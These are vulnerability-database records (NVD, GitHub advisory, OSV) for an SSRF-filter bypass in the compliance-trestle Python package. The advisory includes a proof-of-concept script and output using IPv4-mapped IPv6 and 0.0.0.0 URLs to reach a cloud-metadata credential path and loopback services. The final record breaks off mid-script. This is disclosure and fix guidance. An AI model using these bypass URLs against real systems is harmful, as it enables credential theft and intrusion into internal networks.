{
  "affected": [
    {
      "affectedData": [
        {
          "product": "compliance-trestle",
          "vendor": "oscal-compass",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.12.4"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.1.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Compliance-trestle (Trestle) is a tooling platform for managing compliance as code. In versions before 3.12.4 and versions 4.0.0 through 4.0.3, the URLSecurityValidator that guards trestle\u0027s remote-fetch paths against server-side request forgery can be bypassed to reach loopback, link-local, cloud-metadata, and internal network endpoints it was designed to block. The blocklist does not canonicalize IPv4-mapped IPv6 literals such as [::ffff:169.254.169.254], which resolve to IPv6Address objects that never match the blocked IPv4 ranges, and it does not block the unspecified address 0.0.0.0, which routes to local services on Linux and inside containers. An attacker who can supply or influence an OSCAL artifact that trestle fetches, such as a malicious profile whose imports reference one of these bypass URLs, can cause the HTTPSFetcher and SFTPFetcher paths to contact cloud instance-metadata services, loopback interfaces, or internal hosts. This issue is fixed in versions 3.12.4 and 4.1.0."
    }
  ],
  "id": "CVE-2026-52776",
  "lastModified": "2026-08-26T15:16:48.103",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-52776",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-26T14:23:38.687829Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-26T05:18:10.880",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/5335ff873a2a68eb7de43df029bea09cadff22fd"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/d107cd16efe8eb15d46be3c1d97f1ec73d32447c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-h47f-gmjp-m7rr"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-h47f-gmjp-m7rr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-184"
        },
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-12T15:21:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`compliance-trestle` 4.0.3 (latest) ships an `URLSecurityValidator` in `trestle/core/remote/security.py` to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator\u0027s checks:\n\n- IPv4-mapped IPv6 literals (`[::ffff:169.254.169.254]`, `[::ffff:127.0.0.1]`, `[::ffff:10.0.0.1]`) are returned by `socket.getaddrinfo` as `IPv6Address` objects; `IPv6Address in IPv4Network(\u0027169.254.0.0/16\u0027)` returns `False`, so the `_check_blocked_networks` and `_check_private_networks` predicates do not match.\n- IPv4 unspecified address `0.0.0.0` is not in `ALWAYS_BLOCKED_NETWORKS` (which covers `127.0.0.0/8` but not `0.0.0.0/8`); on Linux + Docker, `0.0.0.0` routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.\n\nA malicious OSCAL profile referencing one of these URLs in `imports[*].href` or `back-matter.resources[*].rlinks[*].href` causes `HTTPSFetcher.__init__` and `_do_fetch` (which both invoke `validator.validate_url`) to pass the URL through to `requests.get`, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with `TRESTLE_BLOCK_PRIVATE_IPS=true` set) that the validator was specifically designed to block.\n\n### Affected versions\n\n`compliance-trestle` (PyPI) versions `\u003c= 4.0.3` are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced `URLSecurityValidator`; prior releases had no SSRF guard at all.\n\n### Privilege required\n\nNetwork-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via `HTTPSFetcher` or `SFTPFetcher`. The most realistic vector is a malicious OSCAL profile whose `imports[*].href` references one of the bypass URLs; the artifact then flows through `trestle href add` / `trestle import` / `trestle assemble` / `trestle author` / any workflow that resolves the profile\u0027s imports.\n\n### Root cause\n\n`trestle/core/remote/security.py` (4.0.3, lines 56-71 + 156-167):\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),     # IPv4 loopback only\n    ipaddress.ip_network(\u0027::1/128\u0027),         # IPv6 loopback (single address)\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),  # IPv4 link-local only\n    ipaddress.ip_network(\u0027fe80::/10\u0027),       # IPv6 link-local\n]\n\nMETADATA_HOSTNAMES = {\n    \u0027169.254.169.254\u0027,          # IPv4 literal only\n    \u0027metadata.google.internal\u0027,\n    \u0027metadata.azure.com\u0027,\n    \u0027100.100.100.200\u0027,\n}\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n    for network in ALWAYS_BLOCKED_NETWORKS:\n        if ip_addr in network:  # IPv6Address in IPv4Network -\u003e False\n            raise TrestleError(...)\n```\n\nFour independent gaps:\n\n1. **No IPv4-mapped IPv6 normalization.** `socket.getaddrinfo(\u0027::ffff:169.254.169.254\u0027, None)` returns an `IPv6Address`. Python\u0027s `ipaddress` module raises `TypeError` if mixed types are compared, and the `in` operator suppresses that to `False`. The validator never calls `.ipv4_mapped` to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the `[::ffff:N.N.N.N]` literal.\n\n2. **`METADATA_HOSTNAMES` is an exact-string set.** The hostname for `https://[::ffff:169.254.169.254]/` is `::ffff:169.254.169.254`, which is not in the set.\n\n3. **`0.0.0.0` is not blocked.** `0.0.0.0` is not in any of the four `ALWAYS_BLOCKED_NETWORKS` ranges. On Linux and inside containers, connecting to `0.0.0.0` routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on `0.0.0.0:PORT`).\n\n4. **DNS rebinding ribbon is only one IP deep.** `_resolve_hostname` records the first `getaddrinfo` result set, but a hostname with mixed records can still serve a private IP on the second resolution `validator.validate_url(self._url)` performs in `_do_fetch`. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.\n\nSibling code paths sharing the same defect: `SFTPFetcher.__init__` (lines 359-365 of `cache.py`) wires the identical `URLSecurityValidator` and inherits all four gaps.\n\n### Reproduction (E2E against `pip install compliance-trestle==4.0.3` + local IMDS simulator)\n\n```bash\n# 1. Setup\nmkdir -p /tmp/poc-trestle \u0026\u0026 cd /tmp/poc-trestle\npython3.12 -m venv venv   # any supported runtime (requires-python \u003e= 3.10); 3.12.13 chosen because \u003e= 3.12.4 it carries CPython CVE-2024-4032\u0027s is_global fix, proving this bypass is is_global-INDEPENDENT\n./venv/bin/pip install --quiet compliance-trestle==4.0.3\n./venv/bin/pip show compliance-trestle | head -2\n# Name: compliance-trestle\n# Version: 4.0.3\n\n# 2. Driver\ncat \u003e e2e_full.py \u003c\u003c\u0027PY\u0027\nimport http.server, http.client, socket, socketserver, threading, time, os\nfrom urllib.parse import urlparse\nfrom trestle.core.remote.security import URLSecurityValidator, get_block_private_ips_config\nfrom trestle.common.err import TrestleError\n\nclass IMDS(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\",\"SecretAccessKey\":\"REDACTED\",\"Token\":\"FAKE_IMDS_RESPONSE\"}\u0027\n        self.send_response(200); self.send_header(\"Content-Length\", str(len(body))); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nclass DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer):\n    address_family = socket.AF_INET6\n    def server_bind(self):\n        try: self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)\n        except (AttributeError, OSError): pass\n        super().server_bind()\n\nPORT = 18560\nsrv = DualStack((\"::\", PORT), IMDS)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\ntime.sleep(0.2)\n\nvalidator = URLSecurityValidator(block_private_ips=True)\ndef attempt(label, url, expect_block):\n    try:\n        validator.validate_url(url); verdict, blocked = \"VALIDATION PASSED\", False\n    except TrestleError as e:\n        verdict, blocked = f\"BLOCKED: {str(e)[:80]}\", True\n    meta = \"(expected)\" if blocked == expect_block else \"(*** UNEXPECTED ***)\"\n    print(f\"\\n[{label}]\\n  URL: {url}\\n  Validator: {verdict}  {meta}\")\n    if not blocked:\n        try:\n            p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3)\n            c.request(\"GET\", p.path or \"/\"); r = c.getresponse(); print(f\"  Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}\"); c.close()\n        except Exception as e:\n            print(f\"  Connectivity: {type(e).__name__}: {str(e)[:80]}\")\n\n# Negative controls (validator must block)\nattempt(\"NEG-1: literal 169.254.169.254\", f\"https://169.254.169.254:{PORT}/latest/meta-data/\", True)\nattempt(\"NEG-2: literal 127.0.0.1\", f\"https://127.0.0.1:{PORT}/admin\", True)\nattempt(\"NEG-3: metadata.google.internal\", f\"https://metadata.google.internal:{PORT}/\", True)\nattempt(\"NEG-4: literal 10.0.0.1 RFC1918\", f\"https://10.0.0.1:{PORT}/admin\", True)\n# Bypasses (validator should block, but does not)\nattempt(\"BYPASS-1: IPv4-mapped IPv6 cloud-metadata\", f\"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin\", True)\nattempt(\"BYPASS-2: 0.0.0.0 reaches localhost\", f\"https://0.0.0.0:{PORT}/admin\", True)\nattempt(\"BYPASS-3: IPv4-mapped IPv6 loopback\", f\"https://[::ffff:127.0.0.1]:{PORT}/admin\", True)\nattempt(\"BYPASS-4: IPv4-mapped IPv6 RFC 1918\", f\"https://[::ffff:10.0.0.1]:{PORT}/admin\", True)\nsrv.shutdown()\nPY\n\n# 3. Run\n./venv/bin/python e2e_full.py\n```\n\nObserved output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is \u003e= 3.12.4, so CPython CVE-2024-4032\u0027s `is_global`/`is_private` reclassification IS active here; the bypass nevertheless works because this validator uses `IPv6Address in IPv4Network(...)` membership (which silently returns False for cross-version comparison), NOT the `is_global` predicate. The mechanism is therefore robust to CPython version:\n\n```\nPython: 3.12.13\ncompliance-trestle: 4.0.3\n  ::ffff:169.254.169.254       is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n  ::ffff:127.0.0.1             is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n  ::ffff:10.0.0.1              is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n\n[NEG-1: literal 169.254.169.254]\n  URL: https://169.254.169.254:18560/latest/meta-data/\n  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se  (expected)\n\n[NEG-2: literal 127.0.0.1]\n  URL: https://127.0.0.1:18560/admin\n  Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi  (expected)\n\n[NEG-3: metadata.google.internal]\n  URL: https://metadata.google.internal:18560/\n  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi  (expected)\n\n[NEG-4: literal 10.0.0.1 RFC1918]\n  URL: https://10.0.0.1:18560/admin\n  Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i  (expected)\n\n[BYPASS-1: IPv4-mapped IPv6 cloud-metadata]\n  URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: TimeoutError: timed out\n\n[BYPASS-2: 0.0.0.0 reaches localhost]\n  URL: https://0.0.0.0:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: HTTP 200, body[:60]=b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\u0027\n\n[BYPASS-3: IPv4-mapped IPv6 loopback]\n  URL: https://[::ffff:127.0.0.1]:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: HTTP 200, body[:60]=b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\u0027\n\n[BYPASS-4: IPv4-mapped IPv6 RFC 1918]\n  URL: https://[::ffff:10.0.0.1]:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: RemoteDisconnected: Remote end closed connection without response\n```\n\n(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of `is_global`-independence: even with CPython\u0027s CVE-2024-4032 fix active (`is_global=False`, `is_private=True`), the validator\u0027s `in IPv4Network(...)` membership check still returns `False`, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/`::`, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)\n\nNegative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass `URLSecurityValidator.validate_url()` on the latest patched release.\n\n### Impact\n\n- SSRF to AWS / Azure / GCP / Alibaba IMDS via `https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/\u003crole\u003e` -\u003e short-lived role credentials exfiltrated through the cached fetch.\n- SSRF to loopback administrative interfaces via `https://0.0.0.0:PORT/` or `https://[::ffff:127.0.0.1]:PORT/` -\u003e access to local-only admin endpoints (Docker socket on `unix://`, Prometheus, etcd, Kubelet) that the validator was supposed to deny.\n- SSRF to RFC 1918 internal services via `https://[::ffff:10.0.0.1]/...` even when `TRESTLE_BLOCK_PRIVATE_IPS=true` is explicitly set, defeating the operator\u0027s defense-in-depth posture.\n- The cache-write traversal protection (`PathSecurityValidator.validate_url_path_for_cache` + `validate_cache_path`) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.\n\n### Suggested fix\n\nNormalize every resolved IP to its canonical IPv4 form before membership checks, and add `0.0.0.0` to the always-blocked set. Diff sketch against `trestle/core/remote/security.py`:\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),\n    ipaddress.ip_network(\u0027::1/128\u0027),\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),\n    ipaddress.ip_network(\u0027fe80::/10\u0027),\n    ipaddress.ip_network(\u00270.0.0.0/8\u0027),     # IPv4 \"this network\", reaches localhost on Linux\n    ipaddress.ip_network(\u0027::/128\u0027),        # IPv6 unspecified\n]\n\ndef _canonicalize_ip(self, ip_addr):\n    \"\"\"Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form.\"\"\"\n    if isinstance(ip_addr, ipaddress.IPv6Address) and ip_addr.ipv4_mapped is not None:\n        return ip_addr.ipv4_mapped\n    return ip_addr\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n    ip_addr = self._canonicalize_ip(ip_addr)\n    for network in ALWAYS_BLOCKED_NETWORKS:\n        if ip_addr.version == network.version and ip_addr in network:\n            raise TrestleError(...)\n\ndef _check_private_networks(self, ip_addr, hostname):\n    ip_addr = self._canonicalize_ip(ip_addr)\n    # ... same canonicalization before block_private_ip / warn_private_ip\n```\n\nAlso add the canonicalized literal to `_check_metadata_endpoints`:\n\n```python\ndef _check_metadata_endpoints(self, hostname):\n    # Canonicalize bracketed IPv6 literal hostnames before exact-match\n    canonical = hostname.strip(\u0027[]\u0027)\n    try:\n        canonical_ip = ipaddress.ip_address(canonical)\n        if isinstance(canonical_ip, ipaddress.IPv6Address) and canonical_ip.ipv4_mapped:\n            canonical = str(canonical_ip.ipv4_mapped)\n    except ValueError:\n        pass\n    if canonical in METADATA_HOSTNAMES:\n        raise TrestleError(...)\n```\n\nThis mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node `undici` SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-h47f-gmjp-m7rr",
  "modified": "2026-08-12T15:21:17Z",
  "published": "2026-08-12T15:21:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-h47f-gmjp-m7rr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/d107cd16efe8eb15d46be3c1d97f1ec73d32447c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "compliance-trestle has an URLSecurityValidator SSRF allowlist bypass via IPv4-mapped IPv6 and 0.0.0.0"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle",
        "purl": "pkg:pypi/compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.2",
        "0.0.3",
        "0.1.0",
        "0.1.1",
        "0.10.0",
        "0.11.0",
        "0.12.0",
        "0.13.0",
        "0.13.1",
        "0.14.0",
        "0.14.1",
        "0.14.2",
        "0.14.3",
        "0.14.4",
        "0.15.0",
        "0.15.1",
        "0.16.0",
        "0.17.0",
        "0.18.0",
        "0.18.1",
        "0.19.0",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.20.0",
        "0.21.0",
        "0.22.0",
        "0.22.1",
        "0.23.0",
        "0.24.0",
        "0.25.0",
        "0.25.1",
        "0.26.0",
        "0.27.0",
        "0.27.1",
        "0.27.2",
        "0.28.0",
        "0.28.1",
        "0.29.0",
        "0.3.0",
        "0.30.0",
        "0.31.0",
        "0.32.0",
        "0.32.1",
        "0.33.0",
        "0.34.0",
        "0.35.0",
        "0.36.0",
        "0.37.0",
        "0.4.0",
        "0.5.0",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.8.0",
        "0.8.1",
        "0.9.0",
        "1.0.0rc0",
        "1.0.1",
        "1.0.2",
        "1.1.0",
        "1.2.0",
        "2.0.0",
        "2.1.0",
        "2.1.1",
        "2.2.0",
        "2.2.1",
        "2.3.0",
        "2.3.1",
        "2.4.0",
        "2.5.0",
        "2.5.1",
        "2.6.0",
        "2.6.1",
        "3.0.1",
        "3.1.0",
        "3.10.2",
        "3.10.3",
        "3.10.4",
        "3.11.0",
        "3.12.0",
        "3.12.1",
        "3.12.2",
        "3.12.3",
        "3.12.4",
        "3.2.0",
        "3.3.0",
        "3.4.0",
        "3.5.0",
        "3.6.0",
        "3.7.0",
        "3.8.0",
        "3.8.1",
        "3.9.0",
        "3.9.1",
        "3.9.2",
        "3.9.3",
        "4.0.0",
        "4.0.1",
        "4.0.2",
        "4.0.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52776",
    "GHSA-h47f-gmjp-m7rr"
  ],
  "details": "### Summary\n\n`compliance-trestle` 4.0.3 (latest) ships an `URLSecurityValidator` in `trestle/core/remote/security.py` to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator\u0027s checks:\n\n- IPv4-mapped IPv6 literals (`[::ffff:169.254.169.254]`, `[::ffff:127.0.0.1]`, `[::ffff:10.0.0.1]`) are returned by `socket.getaddrinfo` as `IPv6Address` objects; `IPv6Address in IPv4Network(\u0027169.254.0.0/16\u0027)` returns `False`, so the `_check_blocked_networks` and `_check_private_networks` predicates do not match.\n- IPv4 unspecified address `0.0.0.0` is not in `ALWAYS_BLOCKED_NETWORKS` (which covers `127.0.0.0/8` but not `0.0.0.0/8`); on Linux + Docker, `0.0.0.0` routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.\n\nA malicious OSCAL profile referencing one of these URLs in `imports[*].href` or `back-matter.resources[*].rlinks[*].href` causes `HTTPSFetcher.__init__` and `_do_fetch` (which both invoke `validator.validate_url`) to pass the URL through to `requests.get`, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with `TRESTLE_BLOCK_PRIVATE_IPS=true` set) that the validator was specifically designed to block.\n\n### Affected versions\n\n`compliance-trestle` (PyPI) versions `\u003c= 4.0.3` are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced `URLSecurityValidator`; prior releases had no SSRF guard at all.\n\n### Privilege required\n\nNetwork-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via `HTTPSFetcher` or `SFTPFetcher`. The most realistic vector is a malicious OSCAL profile whose `imports[*].href` references one of the bypass URLs; the artifact then flows through `trestle href add` / `trestle import` / `trestle assemble` / `trestle author` / any workflow that resolves the profile\u0027s imports.\n\n### Root cause\n\n`trestle/core/remote/security.py` (4.0.3, lines 56-71 + 156-167):\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),     # IPv4 loopback only\n    ipaddress.ip_network(\u0027::1/128\u0027),         # IPv6 loopback (single address)\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),  # IPv4 link-local only\n    ipaddress.ip_network(\u0027fe80::/10\u0027),       # IPv6 link-local\n]\n\nMETADATA_HOSTNAMES = {\n    \u0027169.254.169.254\u0027,          # IPv4 literal only\n    \u0027metadata.google.internal\u0027,\n    \u0027metadata.azure.com\u0027,\n    \u0027100.100.100.200\u0027,\n}\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n    for network in ALWAYS_BLOCKED_NETWORKS:\n        if ip_addr in network:  # IPv6Address in IPv4Network -\u003e False\n            raise TrestleError(...)\n```\n\nFour independent gaps:\n\n1. **No IPv4-mapped IPv6 normalization.** `socket.getaddrinfo(\u0027::ffff:169.254.169.254\u0027, None)` returns an `IPv6Address`. Python\u0027s `ipaddress` module raises `TypeError` if mixed types are compared, and the `in` operator suppresses that to `False`. The validator never calls `.ipv4_mapped` to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the `[::ffff:N.N.N.N]` literal.\n\n2. **`METADATA_HOSTNAMES` is an exact-string set.** The hostname for `https://[::ffff:169.254.169.254]/` is `::ffff:169.254.169.254`, which is not in the set.\n\n3. **`0.0.0.0` is not blocked.** `0.0.0.0` is not in any of the four `ALWAYS_BLOCKED_NETWORKS` ranges. On Linux and inside containers, connecting to `0.0.0.0` routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on `0.0.0.0:PORT`).\n\n4. **DNS rebinding ribbon is only one IP deep.** `_resolve_hostname` records the first `getaddrinfo` result set, but a hostname with mixed records can still serve a private IP on the second resolution `validator.validate_url(self._url)` performs in `_do_fetch`. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.\n\nSibling code paths sharing the same defect: `SFTPFetcher.__init__` (lines 359-365 of `cache.py`) wires the identical `URLSecurityValidator` and inherits all four gaps.\n\n### Reproduction (E2E against `pip install compliance-trestle==4.0.3` + local IMDS simulator)\n\n```bash\n# 1. Setup\nmkdir -p /tmp/poc-trestle \u0026\u0026 cd /tmp/poc-trestle\npython3.12 -m venv venv   # any supported runtime (requires-python \u003e= 3.10); 3.12.13 chosen because \u003e= 3.12.4 it carries CPython CVE-2024-4032\u0027s is_global fix, proving this bypass is is_global-INDEPENDENT\n./venv/bin/pip install --quiet compliance-trestle==4.0.3\n./venv/bin/pip show compliance-trestle | head -2\n# Name: compliance-trestle\n# Version: 4.0.3\n\n# 2. Driver\ncat \u003e e2e_full.py \u003c\u003c\u0027PY\u0027\nimport http.server, http.client, socket, socketserver, threading, time, os\nfrom urllib.parse import urlparse\nfrom trestle.core.remote.security import URLSecurityValidator, get_block_private_ips_config\nfrom trestle.common.err import TrestleError\n\nclass IMDS(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\",\"SecretAccessKey\":\"REDACTED\",\"Token\":\"FAKE_IMDS_RESPONSE\"}\u0027\n        self.send_response(200); self.send_header(\"Content-Length\", str(len(body))); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nclass DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer):\n    address_family = socket.AF_INET6\n    def server_bind(self):\n        try: self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)\n        except (AttributeError, OSError): pass\n        super().server_bind()\n\nPORT = 18560\nsrv = DualStack((\"::\", PORT), IMDS)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\ntime.sleep(0.2)\n\nvalidator = URLSecurityValidator(block_private_ips=True)\ndef attempt(label, url, expect_block):\n    try:\n        validator.validate_url(url); verdict, blocked = \"VALIDATION PASSED\", False\n    except TrestleError as e:\n        verdict, blocked = f\"BLOCKED: {str(e)[:80]}\", True\n    meta = \"(expected)\" if blocked == expect_block else \"(*** UNEXPECTED ***)\"\n    print(f\"\\n[{label}]\\n  URL: {url}\\n  Validator: {verdict}  {meta}\")\n    if not blocked:\n        try:\n            p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3)\n            c.request(\"GET\", p.path or \"/\"); r = c.getresponse(); print(f\"  Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}\"); c.close()\n        except Exception as e:\n            print(f\"  Connectivity: {type(e).__name__}: {str(e)[:80]}\")\n\n# Negative controls (validator must block)\nattempt(\"NEG-1: literal 169.254.169.254\", f\"https://169.254.169.254:{PORT}/latest/meta-data/\", True)\nattempt(\"NEG-2: literal 127.0.0.1\", f\"https://127.0.0.1:{PORT}/admin\", True)\nattempt(\"NEG-3: metadata.google.internal\", f\"https://metadata.google.internal:{PORT}/\", True)\nattempt(\"NEG-4: literal 10.0.0.1 RFC1918\", f\"https://10.0.0.1:{PORT}/admin\", True)\n# Bypasses (validator should block, but does not)\nattempt(\"BYPASS-1: IPv4-mapped IPv6 cloud-metadata\", f\"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin\", True)\nattempt(\"BYPASS-2: 0.0.0.0 reaches localhost\", f\"https://0.0.0.0:{PORT}/admin\", True)\nattempt(\"BYPASS-3: IPv4-mapped IPv6 loopback\", 